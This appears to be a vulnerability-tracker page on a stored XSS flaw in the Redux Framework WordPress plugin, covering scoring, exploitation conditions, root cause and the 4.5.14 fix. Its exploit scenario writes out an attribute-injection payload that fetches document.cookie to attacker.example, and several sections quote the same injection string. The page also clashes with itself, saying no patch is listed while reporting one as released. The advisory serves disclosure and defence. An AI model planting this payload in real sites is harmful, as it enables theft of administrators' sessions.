Skip to main content

Redux Framework CVE-2026-5399

| EUVDEUVD-2026-75365 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-09-10 Wordfence GHSA-hvw8-fmqf-2f96
6.4
CVSS 3.1 · Vendor: Wordfence
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Register Subscriber account on target site
  2. Delivery
    Save crafted XSS payload in Slider profile field
  3. Exploit
    Loose-type validation passes payload as numeric
  4. Install
    Payload persists in database unsanitized
  5. C2
    Admin navigates to attacker's profile page
  6. Execute
    Unquoted attribute renders inline script execution
  7. Impact
    Admin session cookies or credentials exfiltrated

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires four simultaneous conditions: (1) Redux Framework plugin version ≤4.5.13.1 is installed and active on the WordPress site; (2) the Redux Users extension (class-redux-extension-users.php) is explicitly enabled - this extension is not part of the default Redux Framework core install and must be separately activated by a developer or theme; (3) the attacker holds at minimum a WordPress Subscriber-level account on the target site; and (4) a WordPress Administrator navigates to and views the attacker's user profile page in the admin dashboard. Exploitation is limited by the requirement for a valid low-privilege account (disabling open user registration blocks attacker account creation but does not protect against existing subscribers) and the probabilistic requirement that an admin reviews the specific profile. Sites with closed registration and no untrusted subscriber accounts face negligible practical risk even without patching.

Impact

The provided CVSS 3.1 vector AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N scores 6.4, but the UI:N metric is inconsistent with the description, which explicitly states the payload fires 'whenever an Administrator navigates to view the attacker's profile page.' That conditional admin action constitutes required user interaction under CVSS 3.1 guidance; UI:R would be more accurate and would reduce the score to approximately 5.4. The Scope:Changed (S:C) metric is correctly assigned - a Subscriber-level user gaining script execution in an Administrator's browser context represents a privilege escalation across security boundaries. Real-world risk is moderate: an attacker needs a registered Subscriber account, the Redux Users extension must be active, and a targeted admin must visit the specific profile. The XSS payload can steal admin session cookies, perform CSRF-like admin actions, or redirect the admin - not direct server RCE. No EPSS data, KEV listing, or confirmed POC code was provided in the input, so exploitation probability beyond theoretical cannot be assessed. Priority is a routine maintenance-window patch, with elevated urgency for sites with open user registration.

Exploit ScenarioDerived

An attacker registers a free Subscriber account on a target WordPress site running Redux Framework ≤4.5.13.1 with the Users extension active, then saves a Slider field value of 1 tabindex=0 autofocus onfocus=fetch('https://attacker.example/c?'+document.cookie) x= in their user profile. When a site Administrator later navigates to the Users panel and views that subscriber's profile, the payload fires automatically in the admin's browser due to the unquoted attribute injection, exfiltrating the admin's session cookie to the attacker's server. No confirmed public proof-of-concept exists, but the vulnerability mechanism is fully detailed in the Wordfence advisory and source code references, making independent reproduction low-effort.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 10, 2026

Stored XSS in Redux Framework (WordPress plugin) through version 4.5.13.1 allows authenticated Subscriber-level users to inject arbitrary JavaScript into their user profile Slider field, which then executes in an Administrator's browser when the admin views that profile. Three compounding weaknesses enable this: the user_meta_save() function skips sanitization of scalar (non-array) values, the Redux_Slider::render() method writes slider values into unquoted HTML attributes without escaping, and PHP loose-type comparison in clean_default() permits crafted strings like 1 tabindex=0 autofocus onfocus=alert(1) x= to pass numeric validation. Vendor-released patch 4.5.14 was published September 07, 2026; no public exploit code or active exploitation (CISA KEV) is confirmed at time of analysis.

RemediationAI

Upgrade Redux Framework to version 4.5.14 or later, released September 07, 2026. This is confirmed as the vendor fix via GitHub PR #4112 (https://github.com/reduxframework/redux-framework/pull/4112/changes), which adds mandatory numeric validation for Slider fields in class-redux-validation.php and corrects the unquoted HTML attribute output in Redux_Slider::render(). If immediate upgrade is blocked, disable open WordPress user registration to prevent untrusted accounts from obtaining the required Subscriber-level access - note this does not protect against already-registered malicious subscribers, and existing user profile slider values should be audited and cleared as a post-incident hygiene step. There is no known alternative workaround that addresses the root cause without the patch.

Affected VersionsENISA

Redux Framework 0 ≤4.5.13.1

Affected Packages

euvd redux_framework no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Redux Framework (CPE: cpe:2.3:a:davidanderson:redux_framework) is a widely-used WordPress options and settings framework consumed by themes and plugins. The vulnerability class is CWE-79 (Improper Neutralization of Input During Web Page Generation - Stored XSS), arising from a convergence of three independent code-quality failures. First, user_meta_save() in class-redux-extension-users.php (line ~1018) only calls sanitization routines on array-typed values, silently passing scalar slider values through unmodified. Second, Redux_Slider::render() in class-redux-slider.php (line ~311) writes the stored slider value directly into an HTML attribute without wrapping it in quotes or applying esc_attr(), meaning any injected HTML attribute tokens are interpreted by the browser. Third, clean_default() validates slider values as numeric using PHP's loose comparison, so intval('1 tabindex=0 autofocus onfocus=alert(1) x=') returns 1 and the value is treated as within bounds, bypassing the sanitization gate entirely. The fix in PR #4112 adds default numeric validation for Slider and Spinner field types via class-redux-validation.php and corrects output escaping in the render path.

Know when Redux Framework gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Wordfence) PRIMARY 6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
vuln.today AI 5.4 MEDIUM

Subscriber account required (PR:L); admin must navigate to the profile page (UI:R); cross-context admin browser impact warrants S:C; no server availability impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (Wordfence).

CVSS VectorVendor: Wordfence

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The Redux Framework plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Slider field in User Profile settings in versions up to and including 4.5.13.1. This is due to insufficient input sanitization in the user_meta_save() function (which only sanitizes array values, not scalar values) and improper output escaping in the Redux_Slider::render() method, which outputs slider values into unquoted HTML attributes. The vulnerability also exploits the fact that the clean_default() method only casts values to numeric types when they are empty or out of bounds, allowing malicious strings like '1 tabindex=0 autofocus onfocus=alert(1) x=' to pass validation through PHP's loose type comparison. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject arbitrary web scripts into their user profile that will execute whenever an Administrator navigates to view the attacker's profile page.

Threat Intelligence Overview

EPSS Score
0.3%
Top 74% exploitable
Prevalence
Medium
popular WordPress options framework used by many themes and plugins
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.3%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy